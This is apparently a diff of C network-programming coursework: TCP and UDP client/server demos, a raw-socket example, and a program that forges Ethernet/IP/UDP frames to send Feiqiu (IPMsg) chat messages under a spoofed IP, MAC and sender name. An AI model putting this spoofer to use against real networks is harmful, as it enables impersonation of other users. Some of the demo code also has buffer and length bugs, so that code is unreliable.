int client_fd = accept(sock_fd, (struct sockaddr *)&client_addr, &client_addr_len);
|
||||||
|
|
||||||
|
char clinet_ip[INET_ADDRSTRLEN] = "";
|
||||||
|
inet_ntop(AF_INET, &client_addr.sin_addr.s_addr, clinet_ip, INET_ADDRSTRLEN);
|
||||||
|
printf("%s 连接成功\n", clinet_ip);
|
||||||
|
|
||||||
|
// 创建线程实现并发通信
|
||||||
|
Client *client = malloc(sizeof(Client)); // 创建堆空间
|
||||||
|
strcpy(client->ip, clinet_ip);
|
||||||
|
client->fd = client_fd;
|
||||||
|
|
||||||
|
pthread_t tid;
|
||||||
|
pthread_create(&tid, NULL, client_task, client);
|
||||||
|
pthread_detach(tid); // 分离线程
|
||||||
|
// pthread_join(tid,NULL);
|
||||||
|
}
|
||||||
|
|
||||||
|
// 主进程的范畴
|
||||||
|
close(sock_fd);
|
||||||
|
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
Executable
BIN
Binary file not shown.
@@ -0,0 +1,57 @@
|
|||||||
|
// a->客户端
|
||||||
|
#include <stdio.h>
|
||||||
|
#include <sys/socket.h>
|
||||||
|
#include <netinet/in.h>
|
||||||
|
#include <arpa/inet.h>
|
||||||
|
#include <unistd.h>
|
||||||
|
#include <string.h>
|
||||||
|
|
||||||
|
int main(int argc, char const *argv[])
|
||||||
|
{
|
||||||
|
int sock_fd = socket(AF_INET, SOCK_DGRAM, 0);
|
||||||
|
if (sock_fd < 0)
|
||||||
|
{
|
||||||
|
perror("socket");
|
||||||
|
return -1;
|
||||||
|
}
|
||||||
|
|
||||||
|
struct sockaddr_in addr;
|
||||||
|
bzero(&addr, sizeof(addr));
|
||||||
|
addr.sin_family = AF_INET;
|
||||||
|
addr.sin_port = htons(8000);
|
||||||
|
addr.sin_addr.s_addr = inet_addr("127.0.0.1"); // 指定服务器地址
|
||||||
|
|
||||||
|
while (1)
|
||||||
|
{
|
||||||
|
// 创建发送的数据
|
||||||
|
int n = 5;
|
||||||
|
printf("请输入内容:\n");
|
||||||
|
scanf("%d", &n);
|
||||||
|
|
||||||
|
// 发送 udp 数据
|
||||||
|
ssize_t sendnum = sendto(sock_fd, &n, sizeof(n), 0, (struct sockaddr *)&addr, sizeof(addr)); // 将 buf 数据发送给服务器
|
||||||
|
if (sendnum > 0)
|
||||||
|
{
|
||||||
|
perror("发送成功\n");
|
||||||
|
}
|
||||||
|
|
||||||
|
socklen_t addrlen = sizeof(addr);
|
||||||
|
|
||||||
|
char recvbuf[128] = "";
|
||||||
|
|
||||||
|
ssize_t recvlen = recvfrom(sock_fd, recvbuf, sizeof(recvbuf), 0, (struct sockaddr *)&addr, &addrlen); // 从服务器获取数据到 buf
|
||||||
|
if (recvlen < 0)
|
||||||
|
{
|
||||||
|
perror("recvfrom");
|
||||||
|
return 1;
|
||||||
|
}
|
||||||
|
|
||||||
|
printf("从服务器获取内容为 %s\n", recvbuf);
|
||||||
|
if (strncmp(recvbuf, "bye", 3) == 0)
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
|
||||||
|
close(sock_fd);
|
||||||
|
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
@@ -0,0 +1,73 @@
|
|||||||
|
// b->服务端
|
||||||
|
#include <stdio.h>
|
||||||
|
#include <arpa/inet.h>
|
||||||
|
#include <netinet/in.h>
|
||||||
|
#include <unistd.h>
|
||||||
|
#include <string.h>
|
||||||
|
#include <sys/socket.h>
|
||||||
|
|
||||||
|
int main(int argc, char const *argv[])
|
||||||
|
{
|
||||||
|
int sock_fd = socket(AF_INET, SOCK_DGRAM, 0);
|
||||||
|
if (sock_fd < 0)
|
||||||
|
{
|
||||||
|
perror("socket");
|
||||||
|
return -1;
|
||||||
|
}
|
||||||
|
|
||||||
|
struct sockaddr_in addr;
|
||||||
|
bzero(&addr, sizeof(addr));
|
||||||
|
addr.sin_family = AF_INET;
|
||||||
|
addr.sin_port = htons(8000);
|
||||||
|
addr.sin_addr.s_addr = htonl(INADDR_ANY);
|
||||||
|
|
||||||
|
if (bind(sock_fd, (struct sockaddr *)&addr, sizeof(addr)) != 0)
|
||||||
|
{
|
||||||
|
perror("bind");
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
printf("bind success\n");
|
||||||
|
|
||||||
|
struct sockaddr_in src_addr;
|
||||||
|
int n = 0; // 接收数的空间
|
||||||
|
socklen_t socklen = sizeof(src_addr);
|
||||||
|
while (1)
|
||||||
|
{
|
||||||
|
bzero(&src_addr, sizeof(src_addr));
|
||||||
|
|
||||||
|
// 接收数据,如果数据未到达,则会阻塞,直到数据到达为止
|
||||||
|
ssize_t len = recvfrom(sock_fd, &n, sizeof(n), 0, (struct sockaddr *)&src_addr, &socklen);
|
||||||
|
if (len < 0)
|
||||||
|
{
|
||||||
|
perror("recvfrom");
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
|
||||||
|
char srcIP[INET_ADDRSTRLEN]; // 16
|
||||||
|
int port = ntohs(src_addr.sin_port); // 将网络字节序转化为本地字节序
|
||||||
|
inet_ntop(AF_INET, &src_addr.sin_addr.s_addr, srcIP, INET_ADDRSTRLEN); // 将网络数字转换为点分十进制 ip
|
||||||
|
|
||||||
|
printf("从 %s:%d 位置接收到的数字为(%lu Bytes): %d\n", srcIP, port, len, n);
|
||||||
|
|
||||||
|
|
||||||
|
char sendbuf[128] = "";
|
||||||
|
|
||||||
|
if (n == 1)
|
||||||
|
strcpy(sendbuf, "disen666");
|
||||||
|
else if (n == 2)
|
||||||
|
strcpy(sendbuf, "jack good");
|
||||||
|
else if (n == 3)
|
||||||
|
strcpy(sendbuf, "disen888");
|
||||||
|
else if (n == 4)
|
||||||
|
strcpy(sendbuf, "bye");
|
||||||
|
|
||||||
|
sendto(sock_fd, &sendbuf, strlen(sendbuf), 0, (struct sockaddr *)&src_addr, socklen);
|
||||||
|
printf("发送回去内容为 %s\n", sendbuf);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
close(sock_fd);
|
||||||
|
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
Executable
BIN
Binary file not shown.
@@ -0,0 +1,43 @@
|
|||||||
|
// a->客户端
|
||||||
|
#include <stdio.h>
|
||||||
|
#include <string.h>
|
||||||
|
#include <arpa/inet.h>
|
||||||
|
#include <netinet/in.h>
|
||||||
|
#include <sys/socket.h>
|
||||||
|
#include <unistd.h>
|
||||||
|
|
||||||
|
int main(int argc, char const *argv[])
|
||||||
|
{
|
||||||
|
int a_fd = socket(AF_INET, SOCK_DGRAM, 0);
|
||||||
|
if (a_fd < 0)
|
||||||
|
{
|
||||||
|
perror("socket");
|
||||||
|
return 1;
|
||||||
|
}
|
||||||
|
|
||||||
|
struct sockaddr_in addr;
|
||||||
|
bzero(&addr, sizeof(addr));
|
||||||
|
addr.sin_family = AF_INET;
|
||||||
|
addr.sin_port = htons(8000);
|
||||||
|
addr.sin_addr.s_addr = inet_addr("127.0.0.1"); // 服务器在本地
|
||||||
|
|
||||||
|
while (1)
|
||||||
|
{
|
||||||
|
char buf[1] = "";
|
||||||
|
bzero(&buf, sizeof(buf));
|
||||||
|
scanf("%s", buf);
|
||||||
|
sendto(a_fd, buf, strlen(buf), 0, (struct sockaddr *)&addr, sizeof(addr));
|
||||||
|
|
||||||
|
char recvbuf[128] = "";
|
||||||
|
socklen_t addr_len = sizeof(addr);
|
||||||
|
recvfrom(a_fd, recvbuf, strlen(recvbuf), 0, (struct sockaddr *)&addr, &addr_len);
|
||||||
|
printf("%s", recvbuf);
|
||||||
|
|
||||||
|
if (strncmp(recvbuf, "bye", 3) == 0)
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
|
||||||
|
close(a_fd);
|
||||||
|
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
@@ -0,0 +1,42 @@
|
|||||||
|
// a->客户端
|
||||||
|
#include <stdio.h>
|
||||||
|
#include <string.h>
|
||||||
|
#include <arpa/inet.h>
|
||||||
|
#include <netinet/in.h>
|
||||||
|
#include <sys/socket.h>
|
||||||
|
#include <unistd.h>
|
||||||
|
|
||||||
|
int main(int argc, char const *argv[])
|
||||||
|
{
|
||||||
|
int a_fd = socket(AF_INET, SOCK_DGRAM, 0);
|
||||||
|
if (a_fd < 0)
|
||||||
|
{
|
||||||
|
perror("socket");
|
||||||
|
return 1;
|
||||||
|
}
|
||||||
|
|
||||||
|
struct sockaddr_in addr;
|
||||||
|
bzero(&addr, sizeof(addr));
|
||||||
|
addr.sin_family = AF_INET;
|
||||||
|
addr.sin_port = htons(8000);
|
||||||
|
addr.sin_addr.s_addr = inet_addr("127.0.0.1"); // 服务器在本地
|
||||||
|
|
||||||
|
while (1)
|
||||||
|
{
|
||||||
|
int n = 0;
|
||||||
|
scanf("%d", &n);
|
||||||
|
sendto(a_fd, &n, sizeof(n), 0, (struct sockaddr *)&addr, sizeof(addr));
|
||||||
|
|
||||||
|
char recvbuf[128] = "";
|
||||||
|
socklen_t addr_len = sizeof(addr);
|
||||||
|
recvfrom(a_fd, recvbuf, strlen(recvbuf), 0, (struct sockaddr *)&addr, &addr_len);
|
||||||
|
printf("%s", recvbuf);
|
||||||
|
|
||||||
|
if (strncmp(recvbuf, "bye", 3) == 0)
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
|
||||||
|
close(a_fd);
|
||||||
|
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
@@ -0,0 +1,54 @@
|
|||||||
|
// b->服务端
|
||||||
|
#include <stdio.h>
|
||||||
|
#include <string.h>
|
||||||
|
#include <arpa/inet.h>
|
||||||
|
#include <netinet/in.h>
|
||||||
|
#include <sys/socket.h>
|
||||||
|
#include <unistd.h>
|
||||||
|
#include <stdlib.h>
|
||||||
|
|
||||||
|
int main(int argc, char const *argv[])
|
||||||
|
{
|
||||||
|
int b_fd = socket(AF_INET, SOCK_DGRAM, 0);
|
||||||
|
if (b_fd < 0)
|
||||||
|
{
|
||||||
|
perror("socket");
|
||||||
|
return 1;
|
||||||
|
}
|
||||||
|
|
||||||
|
struct sockaddr_in addr;
|
||||||
|
bzero(&addr, sizeof(addr));
|
||||||
|
addr.sin_family = AF_INET;
|
||||||
|
addr.sin_port = htons(8000);
|
||||||
|
addr.sin_addr.s_addr = htonl(INADDR_ANY); // 接收所有本地ip下同一网段的客户端消息
|
||||||
|
// addr.sin_addr.s_addr = inet_addr("127.0.0.1");
|
||||||
|
bind(b_fd, (struct sockaddr *)&addr, sizeof(addr));
|
||||||
|
|
||||||
|
while (1)
|
||||||
|
{
|
||||||
|
struct sockaddr_in src_addr;
|
||||||
|
bzero(&src_addr, sizeof(src_addr));
|
||||||
|
socklen_t src_addr_len = sizeof(src_addr);
|
||||||
|
int n;
|
||||||
|
socklen_t addr_len = sizeof(addr);
|
||||||
|
recvfrom(b_fd, &n, sizeof(n), 0, (struct sockaddr *)&src_addr, &src_addr_len);
|
||||||
|
printf("%d", n);
|
||||||
|
|
||||||
|
char sendbuf[128] = "";
|
||||||
|
|
||||||
|
if (n == 1)
|
||||||
|
strcpy(sendbuf, "disen666");
|
||||||
|
else if (n == 2)
|
||||||
|
strcpy(sendbuf, "jack good");
|
||||||
|
else if (n == 3)
|
||||||
|
strcpy(sendbuf, "disen888");
|
||||||
|
else if (n == 4)
|
||||||
|
strcpy(sendbuf, "bye");
|
||||||
|
|
||||||
|
sendto(b_fd, sendbuf, strlen(sendbuf), 0, (struct sockaddr *)&src_addr, src_addr_len);
|
||||||
|
}
|
||||||
|
|
||||||
|
close(b_fd);
|
||||||
|
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
@@ -0,0 +1,310 @@
|
|||||||
|
// 飞秋伪装(UDP应用)
|
||||||
|
/*
|
||||||
|
MAC -> 14
|
||||||
|
IP -> 20
|
||||||
|
UDP -> 8
|
||||||
|
UDP 数据报数据部分
|
||||||
|
*/
|
||||||
|
|
||||||
|
// 伪装飞秋数据报(UDP)
|
||||||
|
// 1. 伪装飞秋数据报的源IP和目的IP
|
||||||
|
// 2. 伪装飞秋数据报的源端口和目的端口
|
||||||
|
// 3. 伪装飞秋数据报的校验和
|
||||||
|
// 4. 伪装飞秋数据报的数据部分
|
||||||
|
// 5. 伪装飞秋数据报的长度
|
||||||
|
|
||||||
|
#include <arpa/inet.h>
|
||||||
|
#include <netinet/in.h>
|
||||||
|
#include <netinet/ether.h>
|
||||||
|
#include <netinet/ip.h>
|
||||||
|
#include <netinet/udp.h>
|
||||||
|
#include <netpacket/packet.h>
|
||||||
|
#include <sys/ioctl.h>
|
||||||
|
#include <net/if.h>
|
||||||
|
#include <unistd.h>
|
||||||
|
#include <string.h>
|
||||||
|
#include <stdio.h>
|
||||||
|
#include <pthread.h>
|
||||||
|
#include <sys/types.h>
|
||||||
|
#include <sys/stat.h>
|
||||||
|
#include <stdlib.h> // system
|
||||||
|
#include <iconv.h> // iconv, 用于转换编码
|
||||||
|
|
||||||
|
#include "fake_feiqiu_head.h"
|
||||||
|
|
||||||
|
ssize_t send_datapacket(int fd, unsigned char *buf, ssize_t buf_size, const char *ether_name);
|
||||||
|
unsigned short checksum(unsigned short *buf, int len);
|
||||||
|
char *convertToUTF8(const char *str); // 将字符串转换为UTF-8编码
|
||||||
|
char *convertToGB2312(const char *str); // 将字符串转换为GB2312编码
|
||||||
|
|
||||||
|
// 伪头部(UDP 校验时需要再 UDP 报文之间加上伪头部)
|
||||||
|
typedef struct pseudo_udp_head_struct
|
||||||
|
{
|
||||||
|
unsigned int saddr; // 源IP
|
||||||
|
unsigned int daddr; // 目的IP
|
||||||
|
unsigned char flag; // 0
|
||||||
|
unsigned char protocol; // 协议类型
|
||||||
|
unsigned short len; // UDP 首部长度 + 数据部分长度
|
||||||
|
} PSEUDO_UDP_HEAD;
|
||||||
|
|
||||||
|
int main(int argc, char const *argv[])
|
||||||
|
{
|
||||||
|
// 创建原始套接字
|
||||||
|
int sock_fd = socket(PF_PACKET, SOCK_RAW, htons(ETH_P_ALL));
|
||||||
|
if (sock_fd < 0)
|
||||||
|
{
|
||||||
|
perror("raw socket");
|
||||||
|
return -1;
|
||||||
|
}
|
||||||
|
|
||||||
|
// 设置网卡名
|
||||||
|
char eth_name[128] = "";
|
||||||
|
printf("请输入要伪装的网卡名: ");
|
||||||
|
scanf("%s", eth_name);
|
||||||
|
|
||||||
|
char sender_ip[128] = "";
|
||||||
|
printf("请输入要伪装的发送者IP: ");
|
||||||
|
scanf("%s", sender_ip);
|
||||||
|
|
||||||
|
char sender_mac[128] = "";
|
||||||
|
printf("请输入要伪装的发送者MAC: ");
|
||||||
|
scanf("%s", sender_mac);
|
||||||
|
|
||||||
|
char receiver_ip[128] = "";
|
||||||
|
printf("请输入要伪装的接收者IP: ");
|
||||||
|
scanf("%s", receiver_ip);
|
||||||
|
|
||||||
|
char recv_mac[128] = "";
|
||||||
|
printf("请输入要伪装的接收者MAC: ");
|
||||||
|
scanf("%s", recv_mac);
|
||||||
|
|
||||||
|
char sender_name[128] = "";
|
||||||
|
printf("请输入要伪装的发送者名字: ");
|
||||||
|
scanf("%s", sender_name);
|
||||||
|
char sender_pc_name[128] = "";
|
||||||
|
printf("请输入要伪装的发送者电脑名字: ");
|
||||||
|
scanf("%s", sender_pc_name);
|
||||||
|
|
||||||
|
// mac 地址格式化
|
||||||
|
unsigned char dst_mac[8] = {0}; // 目的 MAC
|
||||||
|
unsigned char src_mac[8] = {0}; // 发送者 MAC
|
||||||
|
sscanf(sender_mac, "%hhx:%hhx:%hhx:%hhx:%hhx:%hhx", &src_mac[0], &src_mac[1], &src_mac[2], &src_mac[3], &src_mac[4], &src_mac[5]);
|
||||||
|
sscanf(recv_mac, "%hhx:%hhx:%hhx:%hhx:%hhx:%hhx", &dst_mac[0], &dst_mac[1], &dst_mac[2], &dst_mac[3], &dst_mac[4], &dst_mac[5]);
|
||||||
|
|
||||||
|
while (1)
|
||||||
|
{
|
||||||
|
|
||||||
|
unsigned char udp_buf[1500] = ""; // UDP 数据报
|
||||||
|
|
||||||
|
// 伪装飞秋数据报的数据部分
|
||||||
|
// char msg_data[1024] = "1_lbt6_47#128#704D7B3F6397#0#0#0#4001#9:1694470508:chai:chai:32:hi liangzai";
|
||||||
|
char msg_data[1024] = "";
|
||||||
|
char say_what[1024] = "";
|
||||||
|
printf("请输入要发送的内容:");
|
||||||
|
// scanf("%s", say_what);
|
||||||
|
fgets(say_what, sizeof(say_what), stdin); // 比 scanf 的优点是可以输入空格
|
||||||
|
say_what[strlen(say_what) - 1] = '\0'; // 去掉最后的换行符
|
||||||
|
|
||||||
|
if (strcmp(say_what, "exit") == 0)
|
||||||
|
{
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
if (strcmp(say_what, "clear") == 0)
|
||||||
|
{
|
||||||
|
system("clear");
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
|
||||||
|
sprintf(msg_data, "1:%d:%s:%s:%d:%s", 123, convertToGB2312(sender_name), convertToGB2312(sender_pc_name), IPMSG_SENDMSG, convertToGB2312(say_what));
|
||||||
|
int msg_data_len = strlen(msg_data) + strlen(msg_data) % 2; // 整数补齐偶数位,strlen(msg_data)%2 : 偶数+0,奇数+1
|
||||||
|
printf("msg_data_len = %d ---> %s\n", msg_data_len, convertToUTF8(msg_data));
|
||||||
|
|
||||||
|
/* ---------------------组装 UDP 数据报的 UDP 首部--------------------- */
|
||||||
|
struct udphdr *udp_head = (struct udphdr *)(udp_buf + 14 + 20); // UDP 首部开始位置
|
||||||
|
udp_head->source = htons(2425); // 源端口
|
||||||
|
udp_head->dest = htons(2425); // 目的端口
|
||||||
|
udp_head->len = htons(8 + msg_data_len); // UDP 首部长度 + 数据部分长度
|
||||||
|
udp_head->check = htons(0); // UDP 首部校验和
|
||||||
|
|
||||||
|
/* ---------------------UDP 伪首部校验--------------------- */
|
||||||
|
// UDP 校验时需要再 UDP 报文之间加上伪头部
|
||||||
|
/*
|
||||||
|
UDP 校验中的伪头部(pseudo header)是在计算 UDP 校验和时使用的辅助数据。伪头部包含了源 IP 地址、目的 IP 地址、协议类型(通常是 UDP)和 UDP 报文长度等信息。
|
||||||
|
在计算 UDP 校验和时,将伪头部和 UDP 报文的内容拼接在一起,然后计算校验和。这样做的目的是增加校验和的安全性,使其更具可靠性。
|
||||||
|
*/
|
||||||
|
|
||||||
|
unsigned char pseudo_udp_buf[1056] = ""; // 伪头部
|
||||||
|
PSEUDO_UDP_HEAD *pseudo_udp_head = (PSEUDO_UDP_HEAD *)pseudo_udp_buf;
|
||||||
|
pseudo_udp_head->saddr = inet_addr(sender_ip); // 伪装源IP
|
||||||
|
pseudo_udp_head->daddr = inet_addr(receiver_ip); // 目的IP
|
||||||
|
pseudo_udp_head->flag = 0; // 0
|
||||||
|
pseudo_udp_head->protocol = 17; // 协议类型 UDP
|
||||||
|
pseudo_udp_head->len = htons(8 + msg_data_len); // UDP 首部长度 + 数据部分长度
|
||||||
|
|
||||||
|
memcpy(pseudo_udp_buf + 12, udp_head, 8); // 拷贝 UDP 首部到伪头部
|
||||||
|
memcpy(pseudo_udp_buf + 12 + 8, msg_data, msg_data_len); // 拷贝数据部分到伪头部
|
||||||
|
// 计算 UDP 首部校验和
|
||||||
|
udp_head->check = checksum((unsigned short *)pseudo_udp_buf, 12 + 8 + msg_data_len);
|
||||||
|
memcpy(udp_buf + 14 + 20 + 8, msg_data, msg_data_len); // 拷贝数据部分到 UDP 首部
|
||||||
|
|
||||||
|
/* ---------------------组装 UDP 数据报的 IP 首部--------------------- */
|
||||||
|
struct iphdr *ip_head = (struct iphdr *)(udp_buf + 14); // IP 首部开始位置
|
||||||
|
ip_head->version = 4; // 版本号 IPv4
|
||||||
|
ip_head->ihl = 5; // 首部长度 5 * 4 = 20 字节
|
||||||
|
ip_head->tos = 0; // 服务类型
|
||||||
|
ip_head->tot_len = htons(20 + 8 + msg_data_len); // IP 首部长度 + UDP 首部长度 + 数据部分长度
|
||||||
|
ip_head->id = htons(0); // 标识
|
||||||
|
ip_head->frag_off = htons(0); // 标志和片偏移
|
||||||
|
ip_head->ttl = 128; // 生存时间
|
||||||
|
ip_head->protocol = 17; // 协议类型 UDP
|
||||||
|
// ip 校验时不需要伪头部
|
||||||
|
ip_head->check = htons(0); // 原始校验和(暂时未知,赋值0)
|
||||||
|
ip_head->saddr = inet_addr(sender_ip); // 伪装源IP
|
||||||
|
ip_head->daddr = inet_addr(receiver_ip); // 目的IP
|
||||||
|
ip_head->check = checksum((unsigned short *)(udp_buf + 14), 20); // IP 首部校验和(计算 IP 首部的校验和)
|
||||||
|
|
||||||
|
/* ---------------------组装 UDP 数据报的 MAC 首部--------------------- */
|
||||||
|
struct ether_header *mac_head = (struct ether_header *)udp_buf; // MAC 首部开始位置
|
||||||
|
// unsigned char dst_mac[8] = {0xe8, 0x6a, 0x64, 0x6e, 0x93, 0x28}; // 主机 MAC (目的 MAC)
|
||||||
|
// unsigned char src_mac[8] = {0x4c, 0xe1, 0x73, 0x47, 0x16, 0x3a}; // 虚拟机 MAC (源 MAC)
|
||||||
|
// 使用 memcpy 函数将 dst_mac 的内容拷贝到 mac_head.ether_dhost 中
|
||||||
|
memcpy(mac_head->ether_dhost, dst_mac, 6); // 目的 MAC
|
||||||
|
memcpy(mac_head->ether_shost, src_mac, 6); // 源 MAC
|
||||||
|
mac_head->ether_type = htons(0x0800); // 2 个字节的数据需要大小端转换 (0x0800: IP 协议)
|
||||||
|
|
||||||
|
/* ---------------------发送数据--------------------- */
|
||||||
|
// int send_len = sendto(sock_fd, udp_buf, 14 + 20 + 8 + msg_data_len, 0, (struct sockaddr *)&sll, sizeof(sll));
|
||||||
|
int send_len = send_datapacket(sock_fd, udp_buf, 14 + 20 + 8 + msg_data_len, eth_name);
|
||||||
|
printf("send_len = %d\n", send_len);
|
||||||
|
}
|
||||||
|
|
||||||
|
close(sock_fd);
|
||||||
|
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
ssize_t send_datapacket(int fd, unsigned char *buf, ssize_t buf_size, const char *ether_name)
|
||||||
|
{
|
||||||
|
// 1. 获取网络接口类型(通过网卡名查找网卡索引)
|
||||||
|
struct ifreq ether_req;
|
||||||
|
bzero(ðer_req, sizeof(ether_req));
|
||||||
|
strncpy(ether_req.ifr_name, ether_name, IF_NAMESIZE); // # define ifr_name ifr_ifrn.ifrn_name
|
||||||
|
|
||||||
|
if (ioctl(fd, SIOCGIFINDEX, ðer_req) == -1)
|
||||||
|
{
|
||||||
|
perror("ioctl");
|
||||||
|
return -1;
|
||||||
|
}
|
||||||
|
|
||||||
|
// 2. 选择发送数据的网络接口索引(选择合适的网卡索引)
|
||||||
|
struct sockaddr_ll sll;
|
||||||
|
bzero(&sll, sizeof(sll));
|
||||||
|
sll.sll_ifindex = ether_req.ifr_ifindex; // # define ifr_ifindex ifr_ifru.ifru_ivalue
|
||||||
|
|
||||||
|
// 3. 发送数据
|
||||||
|
ssize_t len = sendto(fd, buf, buf_size, 0, (struct sockaddr *)&sll, sizeof(sll));
|
||||||
|
return len;
|
||||||
|
}
|
||||||
|
|
||||||
|
// IP、UDP校验
|
||||||
|
// 数据报校验计算
|
||||||
|
// 接收传递的数据地址、长度
|
||||||
|
unsigned short checksum(unsigned short *buf, int len)
|
||||||
|
{
|
||||||
|
int nword = len / 2;
|
||||||
|
unsigned long sum;
|
||||||
|
|
||||||
|
if (len % 2 == 1)
|
||||||
|
nword++;
|
||||||
|
for (sum = 0; nword > 0; nword--)
|
||||||
|
{
|
||||||
|
sum += *buf;
|
||||||
|
buf++;
|
||||||
|
}
|
||||||
|
|
||||||
|
sum = (sum >> 16) + (sum & 0xffff);
|
||||||
|
sum += (sum >> 16);
|
||||||
|
return ~sum;
|
||||||
|
}
|
||||||
|
|
||||||
|
// 将字符串转换为UTF-8编码
|
||||||
|
char *convertToUTF8(const char *str)
|
||||||
|
{
|
||||||
|
// 输入字符串的长度
|
||||||
|
size_t inlen = strlen(str);
|
||||||
|
|
||||||
|
// 输出缓冲区的长度,假设为输入长度的3倍(UTF-8编码最多占用3个字节)
|
||||||
|
size_t outlen = inlen * 3;
|
||||||
|
|
||||||
|
// 创建转换句柄
|
||||||
|
iconv_t cd = iconv_open("UTF-8", "GB2312"); // 从 GB2312 转换为 UTF-8
|
||||||
|
|
||||||
|
// 分配输出缓冲区
|
||||||
|
char *outbuf = (char *)malloc(outlen);
|
||||||
|
if (outbuf == NULL)
|
||||||
|
{
|
||||||
|
perror("Memory allocation failed");
|
||||||
|
return NULL;
|
||||||
|
}
|
||||||
|
|
||||||
|
// 进行转换
|
||||||
|
char *inbuf = (char *)str;
|
||||||
|
char *outptr = outbuf;
|
||||||
|
|
||||||
|
if (iconv(cd, &inbuf, &inlen, &outptr, &outlen) == (size_t)-1)
|
||||||
|
{
|
||||||
|
perror("Conversion failed");
|
||||||
|
free(outbuf);
|
||||||
|
iconv_close(cd);
|
||||||
|
return NULL;
|
||||||
|
}
|
||||||
|
|
||||||
|
// 关闭转换句柄
|
||||||
|
iconv_close(cd);
|
||||||
|
|
||||||
|
// 添加字符串结束符
|
||||||
|
*outptr = '\0';
|
||||||
|
|
||||||
|
return outbuf;
|
||||||
|
}
|
||||||
|
|
||||||
|
// 将字符串转换为GB2312编码
|
||||||
|
char *convertToGB2312(const char *str)
|
||||||
|
{
|
||||||
|
// 输入字符串的长度
|
||||||
|
size_t inlen = strlen(str);
|
||||||
|
|
||||||
|
// 输出缓冲区的长度,假设为输入长度的3倍(UTF-8编码最多占用3个字节)
|
||||||
|
size_t outlen = inlen * 3;
|
||||||
|
|
||||||
|
// 创建转换句柄
|
||||||
|
iconv_t cd = iconv_open("GB2312", "UTF-8"); // 从 UTF-8 转换为 GB2312
|
||||||
|
|
||||||
|
// 分配输出缓冲区
|
||||||
|
char *outbuf = (char *)malloc(outlen);
|
||||||
|
if (outbuf == NULL)
|
||||||
|
{
|
||||||
|
perror("Memory allocation failed");
|
||||||
|
return NULL;
|
||||||
|
}
|
||||||
|
|
||||||
|
// 进行转换
|
||||||
|
char *inbuf = (char *)str;
|
||||||
|
char *outptr = outbuf;
|
||||||
|
|
||||||
|
if (iconv(cd, &inbuf, &inlen, &outptr, &outlen) == (size_t)-1)
|
||||||
|
{
|
||||||
|
perror("Conversion failed");
|
||||||
|
free(outbuf);
|
||||||
|
iconv_close(cd);
|
||||||
|
return NULL;
|
||||||
|
}
|
||||||
|
|
||||||
|
// 关闭转换句柄
|
||||||
|
iconv_close(cd);
|
||||||
|
|
||||||
|
// 添加字符串结束符
|
||||||
|
*outptr = '\0';
|
||||||
|
|
||||||
|
return outbuf;
|
||||||
|
}
|
||||||
@@ -0,0 +1,33 @@
|
|||||||
|
#ifndef __FAKE_FEIQIU_HEAD_H__
|
||||||
|
#define __FAKE_FEIQIU_HEAD_H__
|
||||||
|
|
||||||
|
enum ipmsg_e
|
||||||
|
{
|
||||||
|
IPMSG_NOOPERATION = 0x00000000,
|
||||||
|
|
||||||
|
IPMSG_BR_ENTRY = 0x00000001,
|
||||||
|
IPMSG_BR_EXIT = 0x00000002,
|
||||||
|
IPMSG_ANSENTRY = 0x00000003,
|
||||||
|
IPMSG_BR_ABSENCE = 0x00000004,
|
||||||
|
|
||||||
|
IPMSG_BR_ISGETLIST = 0x00000010,
|
||||||
|
IPMSG_OKGETLIST = 0x00000011,
|
||||||
|
IPMSG_GETLIST = 0x00000012,
|
||||||
|
IPMSG_ANSLIST = 0x00000013,
|
||||||
|
IPMSG_FILE_MTIME = 0x00000014,
|
||||||
|
IPMSG_FILE_CREATETIME = 0x00000016,
|
||||||
|
IPMSG_BR_ISGETLIST2 = 0x00000018,
|
||||||
|
|
||||||
|
IPMSG_SENDMSG = 0x00000020,
|
||||||
|
IPMSG_RECVMSG = 0x00000021,
|
||||||
|
IPMSG_READMSG = 0x00000030,
|
||||||
|
IPMSG_DELMSG = 0x00000031,
|
||||||
|
|
||||||
|
/* option for all command */
|
||||||
|
IPMSG_ABSENCEOPT = 0x00000100,
|
||||||
|
IPMSG_SERVEROPT = 0x00000200,
|
||||||
|
IPMSG_DIALUPOPT = 0x00010000,
|
||||||
|
IPMSG_FILEATTACHOPT = 0x00200000
|
||||||
|
};
|
||||||
|
|
||||||
|
#endif
|
||||||
@@ -0,0 +1,22 @@
|
|||||||
|
/*创建链路层的原始套接字*/
|
||||||
|
#include <netinet/ether.h>
|
||||||
|
#include <netinet/in.h>
|
||||||
|
#include <sys/socket.h>
|
||||||
|
#include <stdio.h>
|
||||||
|
#include <unistd.h>
|
||||||
|
|
||||||
|
int main(int argc, char const *argv[])
|
||||||
|
{
|
||||||
|
// 创建原始套接字
|
||||||
|
int sock_fd = socket(PF_PACKET, SOCK_RAW, htons(ETH_P_ALL));
|
||||||
|
if (sock_fd < 0)
|
||||||
|
{
|
||||||
|
perror("raw socket");
|
||||||
|
return -1;
|
||||||
|
}
|
||||||
|
printf("原始套接字创建成功\n");
|
||||||
|
|
||||||
|
close(sock_fd);
|
||||||
|
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
@@ -0,0 +1,66 @@
|
|||||||
|
/*拆解到IP报文*/
|
||||||
|
#include <netinet/ether.h>
|
||||||
|
#include <netinet/in.h>
|
||||||
|
#include <sys/socket.h>
|
||||||
|
|
||||||
|
#include <stdio.h>
|
||||||
|
#include <unistd.h>
|
||||||
|
#include <string.h>
|
||||||
|
|
||||||
|
int main(int argc, char const *argv[])
|
||||||
|
{
|
||||||
|
// 创建原始套接字
|
||||||
|
int sock_fd = socket(PF_PACKET, SOCK_RAW, htons(ETH_P_ALL));
|
||||||
|
if (sock_fd < 0)
|
||||||
|
{
|
||||||
|
perror("raw socket");
|
||||||
|
return -1;
|
||||||
|
}
|
||||||
|
